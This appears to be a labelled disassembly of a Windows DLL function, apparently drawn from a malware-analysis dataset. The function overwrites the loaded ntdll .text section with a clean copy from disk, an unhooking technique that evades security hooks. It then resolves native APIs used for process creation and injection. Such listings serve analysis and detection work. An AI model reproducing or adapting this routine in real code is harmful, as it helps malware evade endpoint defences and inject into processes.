Function at 0x180001010
Capabilities:
Link many functions at runtime
Read file via mapping
Resolve function by parsing pe exports
Terminate process

Disassembly:
push rbx
push r14
sub rsp, 0x98
mov rax, qword [0x180004008]
xor rax, rsp
mov qword [rsp + 0x70], rax
lea rcx, str.ntdll.dll
mov ebx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x40], rax
mov r14, rax
cmp ebx, 1
jne 0x1800012b0
test rax, rax
jne 0x180001058
mov ecx, ebx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x80], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ecx, ecx
lea r8, [rsp + 0x50]
xorps xmm0, xmm0
mov qword [rsp + 0x60], rcx
mov rdx, r14
movups xmmword [rsp + 0x50], xmm0
lea r9d, [rcx + 0x18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov r15, qword [rsp + 0x50]
lea rcx, str.C:windows_system32_ntdll.dll
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov edx, 0x80000000
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea edx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rbp, dword [r15 + 0x3c]
mov esi, ebx
add rbp, r15
mov r12, rax
cmp bx, word [rbp + 6]
jae 0x1800011d4
xor r14d, r14d
mov qword [rsp + 0xc0], rdi
mov edi, r14d
lea rdx, str..text
movzx ebx, word [rbp + 0x14]
mov rax, r14
add rbx, rdi
add rbx, rbp
nop
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x1800011b5
cmp rax, 6
jne 0x180001150
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, r15
mov dword [rsp + 0x68], r14d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r12]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rdx, str..text
movzx eax, word [rbp + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jl 0x180001142
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0xc0]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.NtCreateSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtMapViewOfSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtUnmapViewOfSection
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitUnicodeString
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCreateProcessParameters
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCreateUserProcess
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlCreateUserThread
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWaitForSingleObject
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov r12, qword [rsp + 0x90]
mov rsi, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
mov eax, 1
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1800012e0
add rsp, 0x98
pop r14
pop rbx
ret